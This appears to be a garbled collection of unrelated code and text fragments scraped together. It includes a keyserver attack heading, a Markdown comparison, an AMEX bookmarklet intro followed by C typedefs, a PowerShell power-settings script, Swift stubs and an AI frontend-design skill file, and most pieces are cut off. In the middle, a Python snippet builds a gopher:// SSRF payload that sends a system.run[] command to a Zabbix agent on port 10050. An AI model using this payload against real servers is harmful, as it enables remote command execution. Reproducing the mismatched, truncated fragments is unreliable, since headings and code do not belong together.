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SKS Keyserver Network Under Attack

This work is released under a Creative Commons Attribution-NoDerivatives 4.0 International License.

Terminological Note

"OpenPGP" refers to the OpenPGP protocol, in much the same way that HTML refers to the protocol that specifies how to write a web page. "GnuPG", "SequoiaPGP", "OpenPGP.js", and others are implementations of the OpenPGP protocol in the same way that Mozilla Firefox, Google Chromium, and Microsoft Edge refer to software packages that process HTML data.

Who am I?

Comparison of syntax extensions in Markdown flavors

I created a crude comparison of the syntax of the various common Markdown extensions to have a better view on what are the most common extensions and what is the most widely accepted syntax for them. The list of Markdown flavors that I looked at was based on the list found on CommonMark's GitHub Wiki.

Flavor	Superscript	Subscript	Deletion* Strikethrough	Insertion*	Highlight*	Footnote	Task list	Table	Abbr	Deflist	Smart typo	TOC	Math	Math Block	Mermaid
GFM

American Express - Add all offers to card at once

If you own an AMEX card, you can add a bunch of offers to the card in this link: https://global.americanexpress.com/offers/eligible

There are many offers, and they change all the time. Instead of clicking "Add to card" repeatedly, I created this bookmarklet.

In Chrome, add a new bookmark (right click on bookmarks bar -> "Add Page...") with the following URL:

	#include <stdio.h>
	#include <stdint.h>
	#include <string.h>
	#include <stdbool.h>

	typedef int8_t i8;
	typedef int16_t i16;
	typedef int32_t i32;
	typedef int64_t i64;
	typedef uint8_t u8;

	#Requires -RunAsAdministrator
	# Unlock-PowerCfg - v22.05.11

	# Disable "Connected Standby"
	Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Power' -Name 'CSEnabled' -Value 0 -Force

	# Get Power Settings entries and add/set 'Attributes' to 2 to unhide
	$PowerCfg = (Get-ChildItem 'HKLM:\SYSTEM\CurrentControlSet\Control\Power\PowerSettings' -Recurse).Name -notmatch '\bDefaultPowerSchemeValues\|(\\[0-9]\|\b255)$'
	foreach ($item in $PowerCfg) { Set-ItemProperty -Path $item.Replace('HKEY_LOCAL_MACHINE','HKLM:') -Name 'Attributes' -Value 2 -Force }

	/*
	static func getOutputDevices() -> [AudioDeviceID: String]?
	static func isOutputDevice(deviceID: AudioDeviceID) -> Bool
	static func getAggregateDeviceSubDeviceList(deviceID: AudioDeviceID) -> [AudioDeviceID]
	static func isAggregateDevice(deviceID: AudioDeviceID) -> Bool
	static func setDeviceVolume(deviceID: AudioDeviceID, leftChannelLevel: Float, rightChannelLevel: Float)
	static func setOutputDevice(newDeviceID: AudioDeviceID)
	static func getDeviceVolume(deviceID: AudioDeviceID) -> [Float]
	static func getDefaultOutputDevice() -> AudioDeviceID
	*/

	import struct
	import urllib.parse


	header = "ZBXD\x01"
	key0 = input('Command: ')
	key = f'system.run[({key0})]'
	print("gopher://127.0.0.1:10050/_",end="")
	print(urllib.parse.quote_plus(header).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":"),end="")
	print(urllib.parse.quote_plus(struct.pack("<Q", len(key)+2).decode()).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":"),end="")

	#!/usr/bin/env python

	import argparse
	import subprocess
	import re
	import os

	TYPECODES = ['\-', 'r', 'd', 'b', 'l', 'p', 's', 'w', 'v']
	DESCRIPTIONS = [
	'unknown type',

	SERPENTINE=1 pipenv run python img2c.py ~/Desktop/star.png > src/bitmap.h
	# star.png is a 16x16 PNG file

	---
	name: frontend-design
	description: Create distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, or applications. Generates creative, polished code that avoids generic AI aesthetics.
	license: Complete terms in LICENSE.txt
	---

	This skill guides creation of distinctive, production-grade frontend interfaces that avoid generic "AI slop" aesthetics. Implement real working code with exceptional attention to aesthetic details and creative choices.

	The user provides frontend requirements: a component, page, application, or interface to build. They may include context about the purpose, audience, or technical constraints.